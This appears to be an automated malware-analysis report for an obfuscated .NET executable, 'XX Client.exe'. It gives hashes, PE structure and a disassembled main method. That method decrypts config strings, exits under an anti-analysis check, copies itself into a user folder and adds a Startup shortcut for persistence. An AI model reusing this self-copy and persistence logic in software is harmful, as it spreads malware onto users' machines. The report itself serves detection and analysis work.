Suspicious
Suspect

c4bea1a44d80b69fc373b80e10a61f0e

PE Executable
|
MD5: c4bea1a44d80b69fc373b80e10a61f0e
|
Size: 48.64 KB
|
application/x-dosexec

Print
Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Very high

Hash
 Hash Value
MD5
c4bea1a44d80b69fc373b80e10a61f0e
Sha1
9cf8e4b0512572e9e9dd42b2395ceb28d26c71c6
Sha256
eff06ffe78c495491ce7eff1ed8b140f4ba023126edf85fb248fdf894f40a3c4
Sha384
665df3a36c2d0400c5f9c850bd8cf78f5ed7437ff5c9149a31cc5011d8765ca0d1bb9773c9a681700267b96e84392ff3
Sha512
42c53514affc61e265de9dcf6be9701e0185d98936e05141d3b753015de22e006a47d32bd3c5da5846d3dcb4e5f1e3a14599bca07a4fd81f8f482bbef131e8e5
SSDeep
768:UntwOZMOux807AKI/83uC9nNhR5hQqO/0Zkb6oXH+AbVOzh73kI:utrMOc7PII9nNnnVO/Ukb6oXpOzaI
TLSH
13235B4DB7A58125E1FE9FF098F27112C23AE22358039B6F28DD41970B13A8DCA417E6
File Structure
c4bea1a44d80b69fc373b80e10a61f0e
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Informations
Name
 Value
Info

PE Detect: PeReader OK (file layout)
Module Name

XX Client.exe
Full Name

XX Client.exe
EntryPoint

System.Void Stub.aTZWzqJSAD::IGnsT4DCwq()
Scope Name

XX Client.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

XX Client
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

<null>
Total Strings

253
Main Method

System.Void Stub.aTZWzqJSAD::IGnsT4DCwq()
Main IL Instruction Count

208
Main IL

ldsfld System.Int32 gMtwu0ccOt::DJNML1js0W ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String gMtwu0ccOt::tQ5rrU5QVa call System.Object Stub.sqc63Do8Qe::NnqQ1H3qXx(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String gMtwu0ccOt::tQ5rrU5QVa ldsfld System.String gMtwu0ccOt::Fa0guDvtLi call System.Object Stub.sqc63Do8Qe::NnqQ1H3qXx(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String gMtwu0ccOt::Fa0guDvtLi ldsfld System.String gMtwu0ccOt::pvX4MHtQqM call System.Object Stub.sqc63Do8Qe::NnqQ1H3qXx(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String gMtwu0ccOt::pvX4MHtQqM ldsfld System.String gMtwu0ccOt::lNWNibB81q call System.Object Stub.sqc63Do8Qe::NnqQ1H3qXx(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String gMtwu0ccOt::lNWNibB81q ldsfld System.String gMtwu0ccOt::I9BTsa6UY6 call System.Object Stub.sqc63Do8Qe::NnqQ1H3qXx(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String gMtwu0ccOt::I9BTsa6UY6 ldsfld System.String gMtwu0ccOt::nqwz6pjCHd call System.Object Stub.sqc63Do8Qe::NnqQ1H3qXx(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String gMtwu0ccOt::nqwz6pjCHd ldsfld System.String gMtwu0ccOt::6cEXVbo2ub call System.Object Stub.sqc63Do8Qe::NnqQ1H3qXx(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String gMtwu0ccOt::6cEXVbo2ub ldsfld System.String gMtwu0ccOt::8QfOs5nfaP call System.Object Stub.sqc63Do8Qe::NnqQ1H3qXx(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String gMtwu0ccOt::8QfOs5nfaP leave.s IL_00CB: call System.Boolean Stub.9AW9l3xE8h::VIEIUVdV2K() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.9AW9l3xE8h::VIEIUVdV2K() call System.Boolean Stub.9AW9l3xE8h::VIEIUVdV2K() brtrue.s IL_00D8: ldsfld System.String gMtwu0ccOt::6cEXVbo2ub ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) ldsfld System.String gMtwu0ccOt::6cEXVbo2ub ldstr \ ldsfld System.String gMtwu0ccOt::8QfOs5nfaP call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_4 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_011A: ldloc.0 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0131: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.9AW9l3xE8h::zA23rXsZYX call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_015C: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_6 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_015C: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String gMtwu0ccOt::8QfOs5nfaP call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_7 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_9 ldloc.s V_9 ldc.i4.0 <null> ldloc.s V_7 stelem.ref <null> ldloc.s V_9 stloc.s V_10 ldloc.s V_10 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_11 ldloc.s V_11 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_11 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_11 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_01E1: stloc.s V_12 ldloc.s V_10 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_7 stloc.s V_12 ldloc.s V_12 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_13 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_12 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_13 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_12 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_12 ldloc.s V_7 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.9AW9l3xE8h::dbzjEHre8K leave.s IL_0260: call System.Void Stub.9AW9l3xE8h::WhhBpTslrR() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_8 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0260: call System.Void Stub.9AW9l3xE8h::WhhBpTslrR() call System.Void Stub.9AW9l3xE8h::WhhBpTslrR() ldnull <null> ldftn System.Void Stub.aTZWzqJSAD::6VN5DgeFA7() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.aTZWzqJSAD::l5i9vsIhvo() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>
c4bea1a44d80b69fc373b80e10a61f0e (48.64 KB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙